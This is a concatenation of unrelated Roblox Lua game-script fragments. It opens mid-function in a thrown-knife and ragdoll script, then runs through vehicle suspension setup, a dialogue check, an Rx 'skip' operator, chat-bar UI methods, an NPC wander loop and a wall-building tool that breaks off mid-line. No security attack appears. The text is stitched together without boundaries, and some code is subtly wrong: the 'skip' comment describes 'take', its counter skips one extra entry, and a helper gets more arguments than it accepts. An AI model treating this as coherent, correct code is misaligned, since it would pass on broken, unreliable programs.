wait(stabsound.TimeLength) stabsound.Parent = handle end)() hitt1.Parent:findFirstChildOfClass("Humanoid").Health = hitt1.Parent:findFirstChildOfClass("Humanoid").Health - math.random(50,100) ragdollplr(hitt1.Parent) elseif hitt1.Parent.ClassName == "Accessory" or hitt1.Parent.ClassName == "Hat" then if hitt1.Parent.Parent:findFirstChildOfClass("Humanoid") then hithumanoid = true coroutine.wrap(function() wait() stabsound.Parent = knifeclone stabsound.PlaybackSpeed = 1+(math.random(-1,4)/10) stabsound:Play() wait(stabsound.TimeLength) stabsound.Parent = handle end)() hitt1.Parent.Parent:findFirstChildOfClass("Humanoid").Health = hitt1.Parent.Parent:findFirstChildOfClass("Humanoid").Health - math.random(50,100) ragdollplr(hitt1.Parent.Parent) end end if not hithumanoid then game.Debris:AddItem(knifeclone, 30) end --end end if not rayhit then gravitypower = gravitypower + 0.015 knifeclone.CFrame = knifeclone.CFrame * CFrame.new(0,-gravitypower,-3) lastpos = knifeclone.CFrame knifeclone.CFrame = knifeclone.CFrame * CFrame.fromEulerAnglesXYZ(-math.rad(rotatevalue),0,0) end end end)() for i = 1,15 do headweld.C0 = headweld.C0:lerp(CFrame.new(0,1,0) * CFrame.fromEulerAnglesXYZ(0,-math.pi/3,0) * CFrame.new(0,0.5,0),0.2) tool.Grip = tool.Grip:lerp(CFrame.new(0,-0.85,0) * CFrame.fromEulerAnglesXYZ(-math.rad(30),0,0),0.2) rootweld.C0 = rootweld.C0:lerp(CFrame.fromEulerAnglesXYZ(-math.rad(10),math.pi/3,0), 0.2) leftarmweld.C0 = leftarmweld.C0:lerp(CFrame.new(-1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(-40),0,0) * CFrame.new(0,-0.5,0), 0.2) rightarmweld.C0 = rightarmweld.C0:lerp(CFrame.new(1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(math.rad(10),0,0) * CFrame.new(0,-0.5,0), 0.2) step:wait() end handle.Transparency = 0 throwpos = nil cananimate = true canattack = true end end end) tool.Equipped:connect(function() equipped = true owner = game:GetService("Players"):GetPlayerFromCharacter(tool.Parent) character = owner.Character cananimate = true local sine = 0 equipsound:Play() tool.Grip = CFrame.new(0,-0.85,0) if character:findFirstChild("KnifeBack") then character:findFirstChild("KnifeBack").Transparency = 1 end local rightarm = Instance.new("Weld", character.Torso) rightarm.Part0 = character.Torso rightarm.Part1 = character["Right Arm"] rightarm.C0 = CFrame.new(1.5,0,0) rightarm.Name = "RightArmWeldknif" local leftarm = Instance.new("Weld", character.Torso) leftarm.Part0 = character.Torso leftarm.Part1 = character["Left Arm"] leftarm.C0 = CFrame.new(-1.5,0,0) leftarm.Name = "LeftArmWeldknif" local head = Instance.new("Weld", character.Torso) head.Part0 = character.Torso head.Part1 = character.Head head.C0 = CFrame.new(0,1.5,0) head.Name = "HeadWeldknif" local humanoidrootpart = Instance.new("Weld", character.HumanoidRootPart) humanoidrootpart.Part0 = character.HumanoidRootPart humanoidrootpart.Part1 = character.Torso humanoidrootpart.Name = "HumanoidRootPartWeldknif" coroutine.wrap(function() while step:wait() do if cananimate then sine = sine + 1 head.C0 = head.C0:lerp(CFrame.new(0,1.5,0),0.1) if not spinning then tool.Grip = tool.Grip:lerp(CFrame.new(0,-0.85,0),0.1) end humanoidrootpart.C0 = humanoidrootpart.C0:lerp(CFrame.new(),0.1) leftarm.C0 = leftarm.C0:lerp(CFrame.new(-1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(math.pi/2.7 + math.rad(1.5*math.sin(sine/40)),math.pi/-3 + math.rad(1.5*-math.cos(sine/80)),0) * CFrame.new(0,-0.5,0),0.1) rightarm.C0 = rightarm.C0:lerp(CFrame.new(1.5,0.5,0) * CFrame.fromEulerAnglesXYZ(math.pi/2.7 + math.rad(1.5*math.sin(sine/40)),math.pi/3 + math.rad(1.5*math.cos(sine/80)),0) * CFrame.new(0,-0.5,0),0.1) end end end)() end) tool.Unequipped:connect(function() equipped = false cananimate = false canthrow = false unequipsound:Play() if character.Torso:findFirstChild("LeftArmWeldknif") then character.Torso:findFirstChild("LeftArmWeldknif"):destroy() end if character.Torso:findFirstChild("RightArmWeldknif") then character.Torso:findFirstChild("RightArmWeldknif"):destroy() end if character.Torso:findFirstChild("HeadWeldknif") then character.Torso:findFirstChild("HeadWeldknif"):destroy() end if character:findFirstChild("HumanoidRootPart") then if character.HumanoidRootPart:findFirstChild("HumanoidRootPartWeldknif") then character.HumanoidRootPart:findFirstChild("HumanoidRootPartWeldknif"):destroy() end end if not character:findFirstChild("KnifeBack") then local clone = handle:Clone() clone:BreakJoints() for i,v in pairs(clone:GetDescendants()) do if v.ClassName ~= "SpecialMesh" and v.ClassName ~= "TouchTransmitter" then v:destroy() end end local weld = Instance.new("Weld", clone) weld.Part0 = character.Torso weld.Part1 = clone weld.C0 = CFrame.new(1,-1,0) weld.C0 = weld.C0 * CFrame.fromEulerAnglesXYZ(math.pi-(math.pi/3),0,0) clone.Parent = character clone.Name = "KnifeBack" else character:findFirstChild("KnifeBack").Transparency = 0 end character.KnifeBack:findFirstChildOfClass("SpecialMesh").TextureId = handle:findFirstChildOfClass("SpecialMesh").TextureId end) function ragdollkill(character) local victimshumanoid = character:findFirstChildOfClass("Humanoid") local checkragd = character:findFirstChild("ragded") if not checkragd then local boolvalue = Instance.new("BoolValue", character) boolvalue.Name = "ragded" if not character:findFirstChild("UpperTorso") then character.Archivable = true for i,v in pairs(character:GetChildren()) do if v.ClassName == "Sound" then v:remove() end for q,w in pairs(v:GetChildren()) do if w.ClassName == "Sound" then w:remove() end end end local ragdoll = character:Clone() for i,v in pairs(ragdoll:GetDescendants()) do if v.ClassName == "Motor" or v.ClassName == "Motor6D" then v:destroy() end end ragdoll:findFirstChildOfClass("Humanoid").BreakJointsOnDeath = false ragdoll:findFirstChildOfClass("Humanoid").Health = 0 if ragdoll:findFirstChild("Health") then if ragdoll:findFirstChild("Health").ClassName == "Script" then ragdoll:findFirstChild("Health").Disabled = true end end for i,v in pairs(character:GetChildren()) do if v.ClassName == "Part" or v.ClassName == "ForceField" or v.ClassName == "Accessory" or v.ClassName == "Hat" then v:destroy() end end for i,v in pairs(character:GetChildren()) do if v.ClassName == "Accessory" then local attachment1 = v.Handle:findFirstChildOfClass("Attachment") if attachment1 then for q,w in pairs(character:GetChildren()) do if w.ClassName == "Part" then local attachment2 = w:findFirstChild(attachment1.Name) if attachment2 then local hinge = Instance.new("HingeConstraint", v.Handle) hinge.Attachment0 = attachment1 hinge.Attachment1 = attachment2 hinge.LimitsEnabled = true hinge.LowerAngle = 0 hinge.UpperAngle = 0 end end end end end end ragdoll.Parent = workspace if ragdoll:findFirstChild("Right Arm") then local glue = Instance.new("Glue", ragdoll.Torso) glue.Part0 = ragdoll.Torso glue.Part1 = ragdoll:findFirstChild("Right Arm") glue.C0 = CFrame.new(1.5, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0) glue.C1 = CFrame.new(0, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0) local limbcollider = Instance.new("Part", ragdoll:findFirstChild("Right Arm")) limbcollider.Size = Vector3.new(1.4,1,1) limbcollider.Shape = "Cylinder" limbcollider.Transparency = 1 limbcollider.Name = "LimbCollider" local limbcolliderweld = Instance.new("Weld", limbcollider) limbcolliderweld.Part0 = ragdoll:findFirstChild("Right Arm") limbcolliderweld.Part1 = limbcollider limbcolliderweld.C0 = CFrame.fromEulerAnglesXYZ(0,0,math.pi/2) * CFrame.new(-0.3,0,0) end if ragdoll:findFirstChild("Left Arm") then local glue = Instance.new("Glue", ragdoll.Torso) glue.Part0 = ragdoll.Torso glue.Part1 = ragdoll:findFirstChild("Left Arm") glue.C0 = CFrame.new(-1.5, 0.5, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0) glue.C1 = CFrame.new(0, 0.5, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0) local limbcollider = Instance.new("Part", ragdoll:findFirstChild("Left Arm")) limbcollider.Size = Vector3.new(1.4,1,1) limbcollider.Shape = "Cylinder" limbcollider.Name = "LimbCollider" limbcollider.Transparency = 1 local limbcolliderweld = Instance.new("Weld", limbcollider) limbcolliderweld.Part0 = ragdoll:findFirstChild("Left Arm") limbcolliderweld.Part1 = limbcollider limbcolliderweld.C0 = CFrame.fromEulerAnglesXYZ(0,0,math.pi/2) * CFrame.new(-0.3,0,0) end if ragdoll:findFirstChild("Left Leg") then local glue = Instance.new("Glue", ragdoll.Torso) glue.Part0 = ragdoll.Torso glue.Part1 = ragdoll:findFirstChild("Left Leg") glue.C0 = CFrame.new(-0.5, -1, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0) glue.C1 = CFrame.new(-0, 1, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0) local limbcollider = Instance.new("Part", ragdoll:findFirstChild("Left Leg")) limbcollider.Size = Vector3.new(1.4,1,1) limbcollider.Shape = "Cylinder" limbcollider.Name = "LimbCollider" limbcollider.Transparency = 1 local limbcolliderweld = Instance.new("Weld", limbcollider) limbcolliderweld.Part0 = ragdoll:findFirstChild("Left Leg") limbcolliderweld.Part1 = limbcollider limbcolliderweld.C0 = CFrame.fromEulerAnglesXYZ(0,0,math.pi/2) * CFrame.new(-0.3,0,0) end if ragdoll:findFirstChild("Right Leg") then local glue = Instance.new("Glue", ragdoll.Torso) glue.Part0 = ragdoll.Torso glue.Part1 = ragdoll:findFirstChild("Right Leg") glue.C0 = CFrame.new(0.5, -1, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0) glue.C1 = CFrame.new(0, 1, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0) local limbcollider = Instance.new("Part", ragdoll:findFirstChild("Right Leg")) limbcollider.Size = Vector3.new(1.4,1,1) limbcollider.Shape = "Cylinder" limbcollider.Name = "LimbCollider" limbcollider.Transparency = 1 local limbcolliderweld = Instance.new("Weld", limbcollider) limbcolliderweld.Part0 = ragdoll:findFirstChild("Right Leg") limbcolliderweld.Part1 = limbcollider limbcolliderweld.C0 = CFrame.fromEulerAnglesXYZ(0,0,math.pi/2) * CFrame.new(-0.3,0,0) end if ragdoll:findFirstChild("Head") and ragdoll.Torso:findFirstChild("NeckAttachment") then local HeadAttachment = Instance.new("Attachment", ragdoll["Head"]) HeadAttachment.Position = Vector3.new(0, -0.5, 0) local connection = Instance.new('HingeConstraint', ragdoll["Head"]) connection.LimitsEnabled = true connection.Attachment0 = ragdoll.Torso.NeckAttachment connection.Attachment1 = HeadAttachment connection.UpperAngle = 60 connection.LowerAngle = -60 elseif ragdoll:findFirstChild("Head") and not ragdoll.Torso:findFirstChild("NeckAttachment") then local hedweld = Instance.new("Weld", ragdoll.Torso) hedweld.Part0 = ragdoll.Torso hedweld.Part1 = ragdoll.Head hedweld.C0 = CFrame.new(0,1.5,0) end game.Debris:AddItem(ragdoll, 30) local function aaaalol() wait(0.2) local function searchforvelocity(wot) for i,v in pairs(wot:GetChildren()) do searchforvelocity(v) if v.ClassName == "BodyPosition" or v.ClassName == "BodyVelocity" then v:destroy() end end end searchforvelocity(ragdoll) wait(0.5) if ragdoll:findFirstChildOfClass("Humanoid") then ragdoll:findFirstChildOfClass("Humanoid").PlatformStand = true end if ragdoll:findFirstChild("HumanoidRootPart") then ragdoll:findFirstChild("HumanoidRootPart"):destroy() end end spawn(aaaalol) elseif character:findFirstChild("UpperTorso") then character.Archivable = true for i,v in pairs(character:GetChildren()) do if v.ClassName == "Sound" then v:remove() end for q,w in pairs(v:GetChildren()) do if w.ClassName == "Sound" then w:remove() end end end local ragdoll = character:Clone() ragdoll:findFirstChildOfClass("Humanoid").BreakJointsOnDeath = false for i,v in pairs(ragdoll:GetDescendants()) do if v.ClassName == "Motor" or v.ClassName == "Motor6D" then v:destroy() end end ragdoll:BreakJoints() ragdoll:findFirstChildOfClass("Humanoid").Health = 0 if ragdoll:findFirstChild("Health") then if ragdoll:findFirstChild("Health").ClassName == "Script" then ragdoll:findFirstChild("Health").Disabled = true end end for i,v in pairs(character:GetChildren()) do if v.ClassName == "Part" or v.ClassName == "ForceField" or v.ClassName == "Accessory" or v.ClassName == "Hat" or v.ClassName == "MeshPart" then v:destroy() end end for i,v in pairs(character:GetChildren()) do if v.ClassName == "Accessory" then local attachment1 = v.Handle:findFirstChildOfClass("Attachment") if attachment1 then for q,w in pairs(character:GetChildren()) do if w.ClassName == "Part" or w.ClassName == "MeshPart" then local attachment2 = w:findFirstChild(attachment1.Name) if attachment2 then local hinge = Instance.new("HingeConstraint", v.Handle) hinge.Attachment0 = attachment1 hinge.Attachment1 = attachment2 hinge.LimitsEnabled = true hinge.LowerAngle = 0 hinge.UpperAngle = 0 end end end end end end ragdoll.Parent = workspace local Humanoid = ragdoll:findFirstChildOfClass("Humanoid") Humanoid.PlatformStand = true local function makeballconnections(limb, attachementone, attachmenttwo, twistlower, twistupper) local connection = Instance.new('BallSocketConstraint', limb) connection.LimitsEnabled = true connection.Attachment0 = attachementone connection.Attachment1 = attachmenttwo connection.TwistLimitsEnabled = true connection.TwistLowerAngle = twistlower connection.TwistUpperAngle = twistupper local limbcollider = Instance.new("Part", limb) limbcollider.Size = Vector3.new(0.1,1,1) limbcollider.Shape = "Cylinder" limbcollider.Transparency = 1 limbcollider:BreakJoints() local limbcolliderweld = Instance.new("Weld", limbcollider) limbcolliderweld.Part0 = limb limbcolliderweld.Part1 = limbcollider limbcolliderweld.C0 = CFrame.fromEulerAnglesXYZ(0,0,math.pi/2) end local function makehingeconnections(limb, attachementone, attachmenttwo, lower, upper) local connection = Instance.new('HingeConstraint', limb) connection.LimitsEnabled = true connection.Attachment0 = attachementone connection.Attachment1 = attachmenttwo connection.LimitsEnabled = true connection.LowerAngle = lower connection.UpperAngle = upper local limbcollider = Instance.new("Part", limb) limbcollider.Size = Vector3.new(0.1,1,1) limbcollider.Shape = "Cylinder" limbcollider.Transparency = 1 limbcollider:BreakJoints() local limbcolliderweld = Instance.new("Weld", limbcollider) limbcolliderweld.Part0 = limb limbcolliderweld.Part1 = limbcollider limbcolliderweld.C0 = CFrame.fromEulerAnglesXYZ(0,0,math.pi/2) end local HeadAttachment = Instance.new("Attachment", Humanoid.Parent.Head) HeadAttachment.Position = Vector3.new(0, -0.5, 0) if ragdoll.UpperTorso:findFirstChild("NeckAttachment") then makehingeconnections(Humanoid.Parent.Head, HeadAttachment, ragdoll.UpperTorso.NeckAttachment, -50, 50) end makehingeconnections(Humanoid.Parent.LowerTorso, Humanoid.Parent.LowerTorso.WaistRigAttachment, Humanoid.Parent.UpperTorso.WaistRigAttachment, -50, 50) makeballconnections(Humanoid.Parent.LeftUpperArm, Humanoid.Parent.LeftUpperArm.LeftShoulderRigAttachment, Humanoid.Parent.UpperTorso.LeftShoulderRigAttachment, -200, 200, 180) makehingeconnections(Humanoid.Parent.LeftLowerArm, Humanoid.Parent.LeftLowerArm.LeftElbowRigAttachment, Humanoid.Parent.LeftUpperArm.LeftElbowRigAttachment, 0, -60) makehingeconnections(Humanoid.Parent.LeftHand, Humanoid.Parent.LeftHand.LeftWristRigAttachment, Humanoid.Parent.LeftLowerArm.LeftWristRigAttachment, -20, 20) -- makeballconnections(Humanoid.Parent.RightUpperArm, Humanoid.Parent.RightUpperArm.RightShoulderRigAttachment, Humanoid.Parent.UpperTorso.RightShoulderRigAttachment, -200, 200, 180) makehingeconnections(Humanoid.Parent.RightLowerArm, Humanoid.Parent.RightLowerArm.RightElbowRigAttachment, Humanoid.Parent.RightUpperArm.RightElbowRigAttachment, 0, -60) makehingeconnections(Humanoid.Parent.RightHand, Humanoid.Parent.RightHand.RightWristRigAttachment, Humanoid.Parent.RightLowerArm.RightWristRigAttachment, -20, 20) -- makeballconnections(Humanoid.Parent.RightUpperLeg, Humanoid.Parent.RightUpperLeg.RightHipRigAttachment, Humanoid.Parent.LowerTorso.RightHipRigAttachment, -80, 80, 80) makehingeconnections(Humanoid.Parent.RightLowerLeg, Humanoid.Parent.RightLowerLeg.RightKneeRigAttachment, Humanoid.Parent.RightUpperLeg.RightKneeRigAttachment, 0, 60) makehingeconnections(Humanoid.Parent.RightFoot, Humanoid.Parent.RightFoot.RightAnkleRigAttachment, Humanoid.Parent.RightLowerLeg.RightAnkleRigAttachment, -20, 20) -- makeballconnections(Humanoid.Parent.LeftUpperLeg, Humanoid.Parent.LeftUpperLeg.LeftHipRigAttachment, Humanoid.Parent.LowerTorso.LeftHipRigAttachment, -80, 80, 80) makehingeconnections(Humanoid.Parent.LeftLowerLeg, Humanoid.Parent.LeftLowerLeg.LeftKneeRigAttachment, Humanoid.Parent.LeftUpperLeg.LeftKneeRigAttachment, 0, 60) makehingeconnections(Humanoid.Parent.LeftFoot, Humanoid.Parent.LeftFoot.LeftAnkleRigAttachment, Humanoid.Parent.LeftLowerLeg.LeftAnkleRigAttachment, -20, 20) for i,v in pairs(Humanoid.Parent:GetChildren()) do if v.ClassName == "Accessory" then local attachment1 = v.Handle:findFirstChildOfClass("Attachment") if attachment1 then for q,w in pairs(Humanoid.Parent:GetChildren()) do if w.ClassName == "Part" then local attachment2 = w:findFirstChild(attachment1.Name) if attachment2 then local hinge = Instance.new("HingeConstraint", v.Handle) hinge.Attachment0 = attachment1 hinge.Attachment1 = attachment2 hinge.LimitsEnabled = true hinge.LowerAngle = 0 hinge.UpperAngle = 0 end end end end end end for i,v in pairs(ragdoll:GetChildren()) do for q,w in pairs(v:GetChildren()) do if w.ClassName == "Motor6D"--[[ and w.Name ~= "Neck"--]] and w.Name ~= "ouch_weld" then w:destroy() end end end if ragdoll:findFirstChild("HumanoidRootPart") then ragdoll.HumanoidRootPart:destroy() end if ragdoll:findFirstChildOfClass("Humanoid") then ragdoll:findFirstChildOfClass("Humanoid").PlatformStand = true end local function waitfordatmoment() wait(0.2) local function searchforvelocity(wot) for i,v in pairs(wot:GetChildren()) do searchforvelocity(v) if v.ClassName == "BodyPosition" or v.ClassName == "BodyVelocity" then v:destroy() end end end searchforvelocity(ragdoll) end spawn(waitfordatmoment) game.Debris:AddItem(ragdoll, 30) end end end
--Model Creation--
local susp = Instance.new("Model") susp.Name = "Suspension" susp.Parent = script.Parent.Parent.Parent local suspRL = Instance.new("Model") suspRL.Name = "RL" suspRL.Parent = susp local suspRR = Instance.new("Model") suspRR.Name = "RR" suspRR.Parent = susp local LWm = Instance.new("Model") LWm.Name = "LW" LWm.Parent = script.Parent.Parent.Parent local RWm = Instance.new("Model") RWm.Name = "RW" RWm.Parent = script.Parent.Parent.Parent local WheelGroup = Instance.new("Model") WheelGroup.Name = "Wheels" WheelGroup.Parent = script.Parent.Parent.Parent
--edit the function below to return true when you want this response/prompt to be valid --player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data
return function(player, dialogueFolder) local plrData = require(game.ReplicatedStorage.Source.Modules.Util):GetPlayerData(player) return plrData.Character.Stats.HasMana.Value end
--[=[ Takes n entries and then completes the observation. https://rxjs.dev/api/operators/take @param toSkip number @return (source: Observable<T>) -> Observable<T> ]=]
function Rx.skip(toSkip) assert(type(toSkip) == "number", "Bad toSkip") assert(toSkip > 0, "Bad toSkip") return function(source) assert(Observable.isObservable(source), "Bad observable") return Observable.new(function(sub) local skipped = 0 local maid = Maid.new() maid:GiveTask(source:Subscribe(function(...) if skipped <= toSkip then skipped = skipped + 1 return end sub:Fire(...) end, sub:GetFailComplete())) return maid end) end end
--This script is used to update the driving system --to the latest version in the workspace.
wait() local sm = workspace.NITS.ServerManager:Clone() sm.Parent = script.Parent sm.Disabled = false script:Destroy()
--DO NOT CHANGE ANYTHING INSIDE OF THIS SCRIPT BESIDES WHAT YOU ARE TOLD TO UNLESS YOU KNOW WHAT YOU'RE DOING OR THE SCRIPT WILL NOT WORK!!
local hitPart = script.Parent local debounce = true local tool = game.ServerStorage.WoodenSword -- Change "Sword" to the name of your tool, make sure your tool is in ServerStorage hitPart.Touched:Connect(function(hit) if debounce == true then if hit.Parent:FindFirstChild("Humanoid") then local plr = game.Players:FindFirstChild(hit.Parent.Name) if plr then debounce = false hitPart.BrickColor = BrickColor.new("Bright red") tool:Clone().Parent = plr.Backpack wait(3) -- Change "3" to however long you want the player to have to wait before they can get the tool again debounce = true hitPart.BrickColor = BrickColor.new("Bright green") end end end end)
-- Bindable for when we want touch emergency controls -- TODO: Click to move should probably have it's own gui touch controls -- to manage this.
local BindableEvent_OnFailStateChanged = nil local BindableEvent_EnableTouchJump = nil if UIS.TouchEnabled then BindableEvent_OnFailStateChanged = Instance.new('BindableEvent') BindableEvent_OnFailStateChanged.Name = "OnClickToMoveFailStateChange" BindableEvent_EnableTouchJump = Instance.new('BindableEvent') BindableEvent_EnableTouchJump.Name = "EnableTouchJump" local CameraScript = script.Parent local PlayerScripts = CameraScript.Parent BindableEvent_OnFailStateChanged.Parent = PlayerScripts BindableEvent_EnableTouchJump.Parent = PlayerScripts end local function clamp(low, high, num) return (num > high and high or num < low and low or num) end
----------------------------------------------------##
script.Parent.ClickDetector.MouseClick:Connect(function() if isopen == false then isopen = true script.Parent.DoorOpen:Play() doormotor.Motor.DesiredAngle = -1.4 else isopen = false script.Parent.DoorClose:Play() doormotor.Motor.DesiredAngle = 0 end end)
--Then we require it and call setup() on it if no one else has already.
local WeaponsSystem = require(WeaponsSystemModule) if not WeaponsSystem.doingSetup and not WeaponsSystem.didSetup then WeaponsSystem.setup() end
-- Hook up event listener
Cmdr.RemoteEvent.OnClientEvent:Connect(function(name, ...) if Cmdr.Events[name] then Cmdr.Events[name](...) end end) require(script.DefaultEventHandlers)(Cmdr) return Cmdr
-- Deprecated in favour of GetMessageModeTextButton -- Retained for compatibility reasons.
function methods:GetMessageModeTextLabel() return self:GetMessageModeTextButton() end function methods:IsFocused() if self.UserHasChatOff then return false end return self:GetTextBox():IsFocused() end function methods:GetVisible() return self.GuiObject.Visible end function methods:CaptureFocus() if not self.UserHasChatOff then self:GetTextBox():CaptureFocus() end end function methods:ReleaseFocus(didRelease) self:GetTextBox():ReleaseFocus(didRelease) end function methods:ResetText() self:GetTextBox().Text = "" end function methods:SetText(text) self:GetTextBox().Text = text end function methods:GetEnabled() return self.GuiObject.Visible end function methods:SetEnabled(enabled) if self.UserHasChatOff then -- The chat bar can not be removed if a user has chat turned off so that -- the chat bar can display a message explaining that chat is turned off. self.GuiObject.Visible = true else self.GuiObject.Visible = enabled end end function methods:SetTextLabelText(text) if not self.UserHasChatOff then self.TextLabel.Text = text end end function methods:SetTextBoxText(text) self.TextBox.Text = text end function methods:GetTextBoxText() return self.TextBox.Text end function methods:ResetSize() self.TargetYSize = 0 self:TweenToTargetYSize() end local function measureSize(textObj) return TextService:GetTextSize( textObj.Text, textObj.TextSize, textObj.Font, Vector2.new(textObj.AbsoluteSize.X, 10000) ) end function methods:CalculateSize() if self.CalculatingSizeLock then return end self.CalculatingSizeLock = true local textSize = nil local bounds = nil if self:IsFocused() or self.TextBox.Text ~= "" then textSize = self.TextBox.TextSize bounds = measureSize(self.TextBox).Y else textSize = self.TextLabel.TextSize bounds = measureSize(self.TextLabel).Y end local newTargetYSize = bounds - textSize if (self.TargetYSize ~= newTargetYSize) then self.TargetYSize = newTargetYSize self:TweenToTargetYSize() end self.CalculatingSizeLock = false end function methods:TweenToTargetYSize() local endSize = UDim2.new(1, 0, 1, self.TargetYSize) local curSize = self.GuiObject.Size local curAbsoluteSizeY = self.GuiObject.AbsoluteSize.Y self.GuiObject.Size = endSize local endAbsoluteSizeY = self.GuiObject.AbsoluteSize.Y self.GuiObject.Size = curSize local pixelDistance = math.abs(endAbsoluteSizeY - curAbsoluteSizeY) local tweeningTime = math.min(1, (pixelDistance * (1 / self.TweenPixelsPerSecond))) -- pixelDistance * (seconds per pixels) local success = pcall(function() self.GuiObject:TweenSize(endSize, Enum.EasingDirection.Out, Enum.EasingStyle.Quad, tweeningTime, true) end) if (not success) then self.GuiObject.Size = endSize end end function methods:SetTextSize(textSize) if not self:IsInCustomState() then if self.TextBox then self.TextBox.TextSize = textSize end if self.TextLabel then self.TextLabel.TextSize = textSize end end end function methods:GetDefaultChannelNameColor() if ChatSettings.DefaultChannelNameColor then return ChatSettings.DefaultChannelNameColor end return Color3.fromRGB(35, 76, 142) end function methods:SetChannelTarget(targetChannel) local messageModeTextButton = self.GuiObjects.MessageModeTextButton local textBox = self.TextBox local textLabel = self.TextLabel self.TargetChannel = targetChannel if not self:IsInCustomState() then if targetChannel ~= ChatSettings.GeneralChannelName then messageModeTextButton.Size = UDim2.new(0, 1000, 1, 0) messageModeTextButton.Text = string.format("[%s] ", targetChannel) local channelNameColor = self:GetChannelNameColor(targetChannel) if channelNameColor then messageModeTextButton.TextColor3 = channelNameColor else messageModeTextButton.TextColor3 = self:GetDefaultChannelNameColor() end local xSize = messageModeTextButton.TextBounds.X messageModeTextButton.Size = UDim2.new(0, xSize, 1, 0) textBox.Size = UDim2.new(1, -xSize, 1, 0) textBox.Position = UDim2.new(0, xSize, 0, 0) textLabel.Size = UDim2.new(1, -xSize, 1, 0) textLabel.Position = UDim2.new(0, xSize, 0, 0) else messageModeTextButton.Text = "" messageModeTextButton.Size = UDim2.new(0, 0, 0, 0) textBox.Size = UDim2.new(1, 0, 1, 0) textBox.Position = UDim2.new(0, 0, 0, 0) textLabel.Size = UDim2.new(1, 0, 1, 0) textLabel.Position = UDim2.new(0, 0, 0, 0) end end end function methods:IsInCustomState() return self.InCustomState end function methods:ResetCustomState() if self.InCustomState then self.CustomState:Destroy() self.CustomState = nil self.InCustomState = false self.ChatBarParentFrame:ClearAllChildren() self:CreateGuiObjects(self.ChatBarParentFrame) self:SetTextLabelText( ChatLocalization:Get( "GameChat_ChatMain_ChatBarText", 'To chat click here or press "/" key' ) ) end end function methods:EnterWhisperState(player) self:ResetCustomState() self:CaptureFocus() if WhisperModule.CustomStateCreator then self.CustomState = WhisperModule.CustomStateCreator( player, self.ChatWindow, self, ChatSettings ) self.InCustomState = true else self:SetText("/w " .. player.Name) end end function methods:GetCustomMessage() if self.InCustomState then return self.CustomState:GetMessage() end return nil end function methods:CustomStateProcessCompletedMessage(message) if self.InCustomState then return self.CustomState:ProcessCompletedMessage() end return false end function methods:FadeOutBackground(duration) self.AnimParams.Background_TargetTransparency = 1 self.AnimParams.Background_NormalizedExptValue = CurveUtil:NormalizedDefaultExptValueInSeconds(duration) self:FadeOutText(duration) end function methods:FadeInBackground(duration) self.AnimParams.Background_TargetTransparency = 0.6 self.AnimParams.Background_NormalizedExptValue = CurveUtil:NormalizedDefaultExptValueInSeconds(duration) self:FadeInText(duration) end function methods:FadeOutText(duration) self.AnimParams.Text_TargetTransparency = 1 self.AnimParams.Text_NormalizedExptValue = CurveUtil:NormalizedDefaultExptValueInSeconds(duration) end function methods:FadeInText(duration) self.AnimParams.Text_TargetTransparency = 0.4 self.AnimParams.Text_NormalizedExptValue = CurveUtil:NormalizedDefaultExptValueInSeconds(duration) end function methods:AnimGuiObjects() self.GuiObject.BackgroundTransparency = self.AnimParams.Background_CurrentTransparency self.GuiObjects.TextBoxFrame.BackgroundTransparency = self.AnimParams.Background_CurrentTransparency self.GuiObjects.TextLabel.TextTransparency = self.AnimParams.Text_CurrentTransparency self.GuiObjects.TextBox.TextTransparency = self.AnimParams.Text_CurrentTransparency self.GuiObjects.MessageModeTextButton.TextTransparency = self.AnimParams.Text_CurrentTransparency end function methods:InitializeAnimParams() self.AnimParams.Text_TargetTransparency = 0.4 self.AnimParams.Text_CurrentTransparency = 0.4 self.AnimParams.Text_NormalizedExptValue = 1 self.AnimParams.Background_TargetTransparency = 0.6 self.AnimParams.Background_CurrentTransparency = 0.6 self.AnimParams.Background_NormalizedExptValue = 1 end function methods:Update(dtScale) self.AnimParams.Text_CurrentTransparency = CurveUtil:Expt( self.AnimParams.Text_CurrentTransparency, self.AnimParams.Text_TargetTransparency, self.AnimParams.Text_NormalizedExptValue, dtScale ) self.AnimParams.Background_CurrentTransparency = CurveUtil:Expt( self.AnimParams.Background_CurrentTransparency, self.AnimParams.Background_TargetTransparency, self.AnimParams.Background_NormalizedExptValue, dtScale ) self:AnimGuiObjects() end function methods:SetChannelNameColor(channelName, channelNameColor) self.ChannelNameColors[channelName] = channelNameColor if self.GuiObjects.MessageModeTextButton.Text == channelName then self.GuiObjects.MessageModeTextButton.TextColor3 = channelNameColor end end function methods:GetChannelNameColor(channelName) return self.ChannelNameColors[channelName] end
-- Loop para mover o NPC para posições aleatórias a cada 5 segundos
while true do moveToRandomPosition() wait(5) end
-- places a brick at pos and returns the position of the brick's opposite corner
function placeBrick(cf, pos, color) local brick = Instance.new("Part") brick.BrickColor = color brick.Name='Pushbox' brick.CFrame = cf * CFrame.new(pos + brick.Size / 2) script.Parent.BrickCleanup:Clone().Parent = brick -- attach cleanup script to this brick brick.BrickCleanup.Disabled = false brick.Parent = game.Workspace brick:MakeJoints() return brick, pos + brick.Size end function buildWall(cf) local color = BrickColor.Random() local bricks = {} assert(wallWidth>0) local y = 0 while y < wallHeight do local p local x = -wallWidth/2 while x < wallWidth/2 do local brick brick, p = placeBrick(cf, Vector3.new(x, y, 0), color) x = p.x table.insert(bricks, brick) wait(brickSpeed) end y = p.y end return bricks end function snap(v) if math.abs(v.x)>math.abs(v.z) then if v.x>0 then return Vector3.new(1,0,0) else return Vector3.new(-1,0,0) end else if v.z>0 then return Vector3.new(0,0,1) else return Vector3.new(0,0,-1) end end end Tool.Enabled = true function onActivated() if not Tool.Enabled then return end Tool.Enabled = false local character = Tool.Parent; local humanoid = character:FindFirstChildOfClass("Humanoid") if not humanoid then return end local targetPos = MouseLoc:InvokeClient(game:GetService("Players"):GetPlayerFromCharacter(character)) local lookAt = snap( (targetPos - character.Head.Position).unit ) local cf = CFrame.new(targetPos, 